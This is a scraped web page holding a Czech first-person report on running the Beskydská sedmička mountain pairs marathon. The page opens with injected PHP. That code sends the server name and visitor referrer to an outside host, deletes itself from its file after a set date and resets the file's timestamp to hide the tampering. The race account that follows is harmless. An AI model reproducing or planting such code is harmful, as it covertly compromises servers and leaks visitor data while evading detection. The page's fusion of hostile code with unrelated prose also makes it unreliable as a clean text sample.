check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456735874){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=15&id=18776897&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/modules/mod_banners/models.php"); } Břízův report z účasti na extrémním horském maratonu dvojic
           
www.continental.cz
Břízův report z účasti na extrémním horském maratonu dvojic

První zmínku s bratrancových úst o 3. Ročníku Beskydské sedmičky jsem loňskou zimu okomentoval slovy: „ …. se ti na to můžu vysrat, běžet někde po horách 85 kiláků…..“. Po shlédnutí dokumentu o „Sedmičce“ jsem začal žhavit telefon a shánět někoho do dvojky. Dokument mě úplně dostal. Tohle chcu dát! Z pěti možných souputníků zbyl nakonec přece jen bratranec Roman. Vymysleli jsme název týmu (Bříza Running man), kterej se stejně dobře mohl jmenovat Takychardik Psoriatik Plícař. Roman má problém se srdečním svalem a já měl lupenku v „rozvojové“ fázi, plus nejistou pravou plíci, s kterou jsem před třema rokama prodělal spontánní pneumotorax. Super zdravá dvojka mohla vyrazit vstříc dobrodružství!

Na závod jsme jeli raději den před, kvůli aklimatizaci. Ubytko luxus za 150,-/noc v Orelské ubytovně Lichnov, cca 5 km od Frenštátu. Velmi příjemná paní provozní (děkujeme za pohostinnost), i osazenstvo. Pokoj dostatečně zařízen, kuchyň komplet vybavená, jen schody do koupelny a WC si mohl stavitel odpustit. V pátek ve 12 hod. nás čeká registračka na Sokolovně Frenštátu pod Radhoštěm, cílovým to městem. Všude plno lidí. Rozhýbávám si nohy při běhu pro občanku, kterou jsem zapomněl v autě. Je to dobrý, bolí jen hýždě. Asi dozvuk z minulýho sobotního 51 km běhu Bobravou. Bráchanec je vysmátej a krutě nabušenej (maratonec jeden). Ještě jednou omrkneme odjezd vlaků s účastníky „Sedmičky“ z Frenštátu, do místa startu v Třinci. Prý se bude jednat o rekord českých drah v počtu zapojených osobních vagónů. Hmmm…. Vracíme se na ubykaci a do večera se věnujeme přípravě vybavení na závod a ládování sacharidů do těla. Odpoledne si na dvě hoďky dáchneme. Ještě k povinné výbavě. Pořadatelem je stanovených pár drobností, který Vám můžou pomoci, nebo taky ukončit vaše účinkování v závodě. Co obsahovala výbava: alufólii, náplasti, vypnutý nabitý mobil, náhradní čelovku, náhradní baterie, elastické obinadlo, analgetikum, peníze a pytlík na odpadky. My měli ještě navíc batůžky s vodním reservoárem (já navíc sportovní ledvinku), nožík, izolačku, náhradní funkční tilko a ponožky, trekový hole a ještě jednu čelovku. Co nejlehčí, ale nutný a praktický věci na zrychlenej přesun přes Beskydy. Co skýtal náš „přesun“? Trať Sport 95 km, převýšení přes 5500m, prakticky osm vrcholů (Velký Javorový 1031m + Ropice 1082m + Travný 1203m + Lysá hora 1324m + Smrk 1276m + Čertův mlýn 1205m + Radhošť 1129m, vč. Velkého Javorníku), to mělo dát zhruba výšku himalájské K2 (na kterou vylezl právě zakladatel B7 Libor Uher). Ještě se běžela kratší trať Hobby, asi 90 km, převýšení kolem 4800m, na které byly vynechaný dvě údolí. Náš cíl v tomto závodě – hlavně dokončit, čas 19 hod. a být do 10. místa v kategorii Muži 40-49.

Po sedmé hodině večerní nasedáme do jednoho ze dvou vlaků a vydáváme se na dvouhodinovou jízdu do Třince. Každej vlak jede jiným směrem, abychom se v Českém Těšíně spojili v jeden vlak o 16 vagónech! Neskutečný! S Romanem čekáme na zatáčku, abychom mohli mrknout na toho železnýho hada. V Třinci za nádražím si nás přebírá Policie a všichni v klidu a organizovaně procházíme na Náměstí Svobody, kde je start. Tam už klid není. Tepe muzika, lidi si vzájemně přejí hodně zdaru, rozcvičují se, poslouchají poslední info od pořadatelů. Libor Uher (mimochodem namakanej svalnáč) mě pobavil výčtem věcí na který dávat bacha, jinak následuje trest. 1)nemáš povinnou výbavu (namátkový kontroly na trati) – disk, 2)jdeš mimo cestu (ochranáři) – disk+pokuta+ostuda, 3)přijdete na vrchol z jiné strany – disk, 4)nedojdete ve dvojici – disk, 5) budete pod vlivem alkoholu – disk, 6) neprojdete časovou bránou – disk, 7) nemáte označenou kartu kontrol – disk. Stručný, jasný. Jako kapitán mám čip na noze a starám se o zaznamenávání kontrol do karty, kterou nese můj soustavně protestující zástupce Roman (má prostě větší /a taky těžší/ bágl). Start se posouvá na 22:45, nic moc. Potom už se odpočítává, ohňostroj, start a zaváděč Karel Loprais se svou Tatrou nás „táhne“ směr první kopeček. 3000 lidí (rekord) se dává do pohybu vstříc dobrodružství. Než projdeme startovní koberec, uběhnou 3 minuty! Po kilometru Roman sděluje, že by se před prvním stoupáním rád rozehřál. Tak běžíme až na úpatí sjezdovky na Javorový (známe bikeři, co?). Staří harcovníci tohoto závodu říkali, že otočením trati oproti loňsku, bude začátek hodně těžkej. Sjezdovka mi nedělá problém. Hůlky používat umím, ruce cvičím a v nohách mám z kola dost síly. S bráchance je to horší. Časem se ukazuje, že hole spíš tahá a v rukách není moc sil. Za to seběhy…… Po Velkým Javorovým se tratě rozdělí. My jdeme do Řeky, kde nastává první (a jediný) problém se značeními. Nějakej „závistivec“ trošku přeznačil trať. Někdo ve předu rozhodne, že to pustíme 30% srázem, kde uvolněný kameny lítají vzduchem. Roman měl dvakrát namále. Hodně namále! V údolí měním baterii v čelovce (no potěš), dáváme tyčinky. Výšplh na Ropici (předem upozorňuji, že ani špička do kopců neběhala), kde se opět tratě spojí. Zde se setkávám se vzájemným respektem, ohleduplností, uvědoměním si vlastních možností oproti druhým a všeho, co nás všechny ještě čeká a může potkat. Na masových bikových závodech na tohle chování již těžko narazíte. Závodníci Hobby trasy šli po jedné straně cesty, my běželi (opravdu) po druhé. Nikdo si nijak nepřekážel, a když bylo třeba, tak se použilo cyklistické „pravá, levá, díky“. A to se jednalo o klasickou horskou pěšinu. Z Ropice směřujeme dolů do Morávky. Šílenej seběh, kde se potvrdili bráchancovi kvality a já mu snad zdárně sekundoval (zatím). Následoval hodně krutej výstup po sjezdovce na Travný (opět známe, že bikeři?). Tady mě Romes musel přibrzdit, nastávala jeho chvilka krize, která trvala prakticky až na Smrk. Slez do Krásné opět brutálně prudkej. Abych se neopakoval, tak všechny sestupy byly nejen pro mě, asi to nejtěžší na trati. Takovej sklon na oficiálních cestách jsem v našich horách ještě nešel, natož běžel. Teda alespoň ne po sobě. Následuje dlouhý výstup na Lysou horu a za náma se opakující úchvatný pohled na řadu světlušek vinoucích se z kopce na kopec. Lysou jsem vždycky chtěl navštívit, ale že to bude napoprvé v noci….. Doufáme, že nahoře uvidíme východ slunce, kterej si chce Roman hrozně moc vyfotit. Ale proti jsou mraky, mírný mžení se sněhem a my sami. Jsme totiž nějak moc rychlí a v 5:40 ještě nesvítá. Kdo dosáhne Lysé v limitu, je zařazen do tomboly. Jdeme / běžíme dál…… V Ostravici na nás čeká polívečka. Výborný vývareček s knedlíčky v místní ZŠ, kde se do jídelny jde po schodech. To výborný není. Občerstvovačky jinak byly super. Roman říkal, že nic lepšího na běžeckých závodech nezažil. Ovoce, tyčinky, horalky, ionťáky, voda, dokonce 5 litrové kyblíky s musli, oříšky, hrozinkami atd. Četl jsem na diskuzi jednoho kritika, že bylo jen sladký. Mě osobně nechyběly rohlíky se sýrem, nebo chleba se sádlem a salámem, jak se podávají na MTB závodech. Polívky stačili a ostatní slaný si každej mohl nést sám. Po čtvrtým bufetu jsme zahájili nejdelší a asi i nejtěžší výstup, a to na Smrk, druhou to nejvyšší horu Beskyd. Začala na mne doléhat únava a tak šáhnu pro bidon se speciálním lektvarem. Půlku vypiju a druhou dávám ochutnat bráchancovi, kterej je na tom evidentně hůř. Poslední hořký loky dává před vrcholem, na nepříjemné kamenité sekci, s neskutečným výhledem do kraje. Pátá kontrola (litoval jsem tady pořadatelů, docela foukalo a bylo chladno)nám sděluje, že do první tisícovky lidí je ještě hodně daleko. Kde jsme…? Seběh z vrcholu je šíleně dlouhej, celej ho běžíme, začíná se mi nějak divně ozývat prostředníček na levé noze, Roman se probírá, valíme jako hovada. V Čeladné na bufetu potkáme Libora Uhra, kterej byl nucen odstoupit kvůli zdravotnímu problému parťáka. Zjišťuju rozsah poškození prstu. Je to dobrý, nehet sleze po závodě, tak dávám větší vrstvu vazelíny. Během ládování dalšího chutnýho vývaru, skrápěni mírným deštíkem, se dozvídáme, že se motáme kolem 60 fleku bez rozdílu tratí. Fakt….?! Povzbuzeni touto informací míříme na Čertův Mlýn a Tanečnici na Pustevny. Tady doplníme tekutiny, vyslechneme si nespokojence, vyčítajícího pořadatelům nedostatek jídla na tomto bufetu (žádné, ale na to nás v propozicích připravili) a zamíříme střemhlav do Ráztoky na předposlední měřenou kontrolu. Do sešupu se s náma pustili i některý týmy z Hobby. Zřejmě paní pořadatelku stěžovatel trošku rozhodil. V Ráztoce se dozvídáme, že jsme průběžně 63 bez rozdílu tratí a kategorií. Panebože, ještě dva kopce, 22 km a zhruba 4 hodiny běhu! Vydržať! Bohužel/-dík já ještě neprodělal krizi. Svoji vinnou (špatně nakombinovanej doplněk stravy s tekutinou) jsem si ji při výstupu na Radhošť přivodil v cuku letu. Nebylo příjemný zvěstovat parťákovi, že se možná každou chvilku vybliju (skutečnost byla horší, dostal jsem pořádnýho motáka – zlatý hůlky). Sestup na Pindulu byl pro mě utrpením. Nakoplo mě ale předstižení jedné dvojky, která nám upláchla někde kolem Smrku a požití tablety od Enervitu (děkuji). Na kolena mě ale málem dostal brutální výstup na Velký Javorník, u kterého (jak poznamenal Romes) se musel Uher smát jak sviňa, když tama plánoval trasu. Vzpomněl jsem si na velkostavitele MTB tratí Vénu Hornycha a dávám se do klidu. U horské chaty na Javorníku nás zdraví naše známá, velmi sympatická pořadatelka a ujišťuje nás, že do cíle zbývají 4km. Toto jí za různých průpovídek, dožadování se alkoholu, protestů proti masakru nevinných a všeobecnýho veselí okolních turistů, nevěříme. No, asi na té vzdálenosti něco fakt bylo. Ale mě to bylo v tu chvíli u prdele. Byl jsem tak trošku kaša. Další tableta na chvilku zabrala. Bratránek obživl. On je prostě závoďák do koncovek, já na začátky. On z kopce, já nahoru. A úplnej konec byl dloooouho z kopce. Ještě navíc zjistil, že by jsme to mohli dát pod 18 hod. Já na to, že můžeme v klidu jít. On, že poběžíme. Já na to, že se na to můžu….. (neslyšel). Poodběhl asi 50m, já to měl na háku. Za chvilku na mě volá, že by mohlo padnou 17:30! Já volám, že je mě to u prdele (taky neslyšel). Vbíháme do Frenštátu. Nedá mě to a zeptám se na čas. 17:26 máme za sebou. Sakra! Mám křeče břišních svalů (už asi 10km), ale zasprintuju a běžíme spolu. Zahneme na náměstí, kde zbývá 100m kopeček! Já to seru! Jedna přihlížející přidává olej do ohně: „…..kluci, ještě schody a jste v cíli…“ Roman: „Ježíš, to jste neměla! On už nepůjde!“ Jdu a dost tvrdě. Na náměstí se do šesti metrové výšky tyčí prudká pyramida dřevěných schodů, na jejímž vrcholku je čip cíle. Na pyramidě je provokativně přidělaná plachta s fotem asi K2. Je mi to prdel. Zasprintuju a čas se zastavuje na 17:30,27 hod! Konečná úprava času zní 17:27,03! Neskutečný, nečekaný! Dostáváme náramek za dokončení, plechovku pivečka a sedáme do stanu s občerstvením. Lehce se ládujeme slaným a začínáme si uvědomovat, co máme za sebou. Volám Káti, přepadnou mě emoce. Celej závod jsme absolvovali poměrně bez komplikací a vážnějších problémů. Určitej druh přípravy směřovanej na tento závod se víc jak zúročil. V životě jsme časově tak dlouhej jednorázovej výkon nepodali. A konečný umístění? Jen třešnička na dortu – 6.místo v kategorii (57 týmů) a 36.celkově (422 týmů). Na první tým absolutně, jsme ztratili cca 4 a půl hodiny, což bylo nad naše očekávání. Při nedělním vyhlašování vedle nás stál tatínek jednoho z vítězů a tak byla možnost porovnat jeho a naši přípravu. Pochází z Liberce, takže na Ještěd kousek. Není co dodat… Jinak velmi příjemnej pán i jeho manželka. Prostě většina lidí kolem této akce byla příjemná. Parádní bylo i přivítání na Orlovně v Lichnově, když se nás paní „domácí“ zeptala, jestli tady nejsme nějak brzo a jestli jsme vůbec běželi.

Na ubykaci jsme se dali dohromady a vyrazili někam na lehký jídlo, protože v bufítku Orlovny nevařili (jen pařili). Další hospa neměla vůbec cenu, ale alespoň jsme dostali typa na hospodu u fotbalovýho hřiště. Bylo to asi kilometr do kopce a ještě tam měli oslavu. Ale přijali nás super a já po dvou letech dal vynikající domácí hovězí guláš (za to může Roman, protože u toho chrochtal blahem). Bylo nám tam fajn, ale raději jsme zmizly, jinak by nás asi zpracovali. Cestou na pokoj čumím na Radhošť a V.Javorník, kde v lesích probleskovali světla čelovek. Limit na dokončení je 30 hodin, tzn. do 4:00 v neděli. S bráchancem jsme byli mooooc rádi, že už to máme za sebou. Ještě nás čekalo druhé kolo uvítání na Orlovně, kde se již paní domácí zmínila o naší akci a hned si nás pár lidí vzalo na „tiskovku“. Ještě k tomu právě skončil tenisový turnaj ve čtyřhrách, který vyhrál syn paní správcové, takže jsem byl vybrán z našeho týmu na okoštování slivovičky. Prostě pohoda. Na schodech už to taková pohoda nebyla….. A druhej den račím způsobem zase do koupelky….. Prostě super akce, na kterou naše nohy budou vzpomínat jen chvilku a hlava do konce života. Su rád, že se vloni bráchanec o Beskydské sedmičce zmínil. Dík.